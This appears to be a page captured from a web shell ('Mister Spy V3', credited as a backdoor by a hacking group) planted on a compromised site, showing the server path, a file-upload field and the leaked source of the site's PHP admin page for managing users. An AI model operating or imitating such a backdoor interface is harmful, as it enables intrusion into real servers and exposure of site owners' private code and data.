Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/usuarios.php

<?php 

require_once("../inc_library_front.php");

/* verificamos si posee permisos */
if (!Session::CheckPerm(Modulo::ClientesActivos))
	Session::NoPerm();

$IdTipoUsuario	= intval($_REQUEST['IdTipoUsuario']);

$oRubros		= new Rubros();
$oProvincias	= new Provincias();

$arrRubros		= $oRubros->GetAllBusqueda(array('IdEstado' => 1));
$arrProvincias	= $oProvincias->GetAllBusqueda(array('IdPais' => Config::CodigoARG));
$arrEstados		= UsuarioEstados::GetAllBusqueda();

?>
<!DOCTYPE html>
<html>
    <head>
        <?php include("ssi_head_inc.php"); ?>
        <script type="text/javascript">
		var IdTipoUsuario = <?= $IdTipoUsuario ?>;
        var Rubros = <?= json_encode($arrRubros) ?>;
        var Estados = <?= json_encode($arrEstados) ?>;
        </script>
	</head>
    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <?php include("ssi_header.php"); ?>

			<?php include("ssi_menu.php"); ?>

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">
                    
                    	<div class="row">
							<div class="col-sm-12">
								<h4 class="page-title">Usuarios</h4>
								<ol class="breadcrumb">
									<li>
										<a>Home</a>
									</li>
									<li class="active">
										Usuarios
									</li>
								</ol>
								
							</div>
						</div>
                    	<div class="row">
                    		<div class="col-xs-12">
                                <div class="card-box">
                                	<div class="col-sm-8">
			                        </div>
			                        <div class="col-sm-4 text-right">
									<!-- <a href="#custom-modal" class="btn btn-default btn-md waves-effect waves-light m-b-30" data-animation="fadein" data-plugin="custommodal" 
			                                data-overlaySpeed="200" data-overlayColor="#36404a"><i class="md md-add"></i> Agregar Cliente</a> -->
			                        </div>
                                    <div id="jsGrid"></div>
                                </div>
                            </div>
						</div> 
					</div>
				</div>
			</div>
			<!-- Modal -->
			<div id="custom-modal" class="modal-demo">
			    <button type="button" class="close" onclick="ClosePopup();">
			        <span>&times;</span><span class="sr-only">Cerrar</span>
			    </button>
			    <h4 class="custom-modal-title">Agregar Cliente</h4>
			    <div class="custom-modal-text text-left">
			        <form id="form-add-usuario" role="form" method="post" action="json-usuarios-add.php" class="form-horizontal">
			        	<input type="hidden" id="Submitted" name="Submitted" value="1" />
			        	<div class="form-group">
                            <label class="col-sm-12" for="Nombre">Nombre</label>
                            <div class="col-sm-12">
                            	<input type="text" class="form-control" required name="Nombre" id="Nombre" placeholder="Ingrese el nombre" required parsley-trigger="change" data-parsley-required-message="Ingrese el nombre" />
                        	</div>
                        </div>
			        	<div class="form-group">
                            <label class="col-sm-12" for="Apellido">Apellido</label>
                            <div class="col-sm-12">
                            	<input type="text" class="form-control" name="Apellido" id="Apellido" placeholder="Ingrese el apellido" required parsley-trigger="change" data-parsley-required-message="Ingrese el apellido">
                        	</div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="Email">Email</label>
                            <div class="col-sm-12">
                            	<input type="email" class="form-control autocomplete" id="Email" name="Email" placeholder="Ingrese el email" required parsley-trigger="change" data-parsley-required-message="Ingrese el email" data-parsley-email-message="El email es inv&aacute;lido">
                        	</div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="CodigoAreaFac">Celular</label>
                            <!--<div class="col-sm-4">
                            	<input type="text" class="form-control new" id="CodigoAreaFax" name="CodigoAreaFax" placeholder="C&oacute;d. &aacute;rea" required parsley-trigger="change" data-parsley-required-message="Ingrese el c&oacute;d. &aacute;rea">
                            </div>-->
                            <div class="col-sm-12">
                            	<!--<span class="input-group-addon">15</span>-->
                            	<input type="text" class="form-control new" id="Fax" name="Fax" placeholder="Celular" required parsley-trigger="change" data-parsley-required-message="Ingrese el celular" data-parsley-telefono="Fax.new">
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="col-sm-12" for="IdProvincia">Provincia</label>
                            <div class="col-sm-12">
                            	<select class="form-control" id="IdProvincia" name="IdProvincia">
                            		<option value=""></option>
                            		<?php
                            		if ($arrProvincias)
                            		{
                            			foreach ($arrProvincias as $oProvincia)
                            			{
                            		?>
                            		<option value="<?= $oProvincia->IdProvincia ?>"><?= ($oProvincia->Nombre) ?></option>
                            		<?php
                            			}
                            		}
                            		?>
                            	</select>
                        	</div>
                        </div>
						<?php
						if ($IdTipoUsuario == TiposUsuarios::Medico)
						{
						?>
						<div class="form-group">
                            <label class="col-sm-12" for="Nombre">DNI</label>
                            <div class="col-sm-12">
                            	<input type="number" maxlength="8" class="form-control" required name="dni" id="dni" placeholder="Ingrese el dni" parsley-trigger="change" data-parsley-required-message="Ingrese el dni" />
                        	</div>
                        </div>
						<?php
						}
						?>
			        	
						
			        	<!--<div class="form-group">
                            <label class="col-sm-12" for="Nombre">Validar usuario</label>
                            <div class="col-sm-12">
                            	<select class="form-control" name="Validado" id="ValidadoU">
                            		<option value="0">No validado</option>
                            		<option value="1">Validado</option>
                            	</select>
                        	</div>
                        </div>-->
                        
                        <div class="text-right">
                        	<button type="submit" class="btn btn-default waves-effect waves-light">Guardar</button>
                        	<button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="ClosePopup();">Cancelar</button>
                    	</div>
                    </form>
			    </div>
			</div>
			<!-- Modal -->
			<!-- Modal Update -->
			<?php include('ssi_usuario_modal_mod.php'); ?>
		</div>
		
		<?php include("ssi_scripts.php"); ?>
		
        <!-- jsgris table js -->
        <script src="<?= Config::UrlFiles ?>assets/plugins/jsgrid/js/jsgrid.min.js"></script>
        <script src="js/jquery.jsgrid.usuarios.init.js"></script>
        <script src="js/jquery.jsgrid.init.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/autocomplete/jquery.mockjax.js"></script>
        <script type="text/javascript" src="<?= Config::UrlFiles ?>assets/plugins/autocomplete/jquery.autocomplete.min.js"></script>
        
        <script type="text/javascript">
        function ClosePopup() {
        	$('#Nombre').val('');
        	$('#Apellido').val('');
        	$('#Email').val('');
        	$('#CodigoAreaFax').val('');
        	$('#Fax').val('');
        	$('#CodigoAreaTelefono').val('');
        	$('#Telefono').val('');
        	$('#IdProvincia').val('');
        	$('#Localidad').val('');
        	$('#dni').val('');
        	Custombox.close();
        }
        
        $(document).ready(function () {
			
			validateCellphone('#form-add-usuario #Fax');
			validateCellphone('#form-mod-usuario #Fax');
			validatePhone('#form-add-usuario #Telefono');
			validatePhone('#form-mod-usuario #Telefono');
    		
        	$('form').parsley({
        		excluded: "input[type=button], input[type=submit], input[type=reset], input[type=hidden], [disabled], :hidden"
        	});
        	
        	$('#form-add-usuario, #form-mod-usuario').ajaxForm({
        		dataType:  'json', 
        		success: function(data) {
        			if (data.Success)
        			{
        				$("#jsGrid").jsGrid("loadData");
        				ClosePopup();
        			}
        			else
        				swal({
                			title: "Error!",
                			text: data.Error,
                			type: "error",
                			timer: 2000,
                			showConfirmButton: false
            			});
        		}
        	});
        });
        </script>
	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat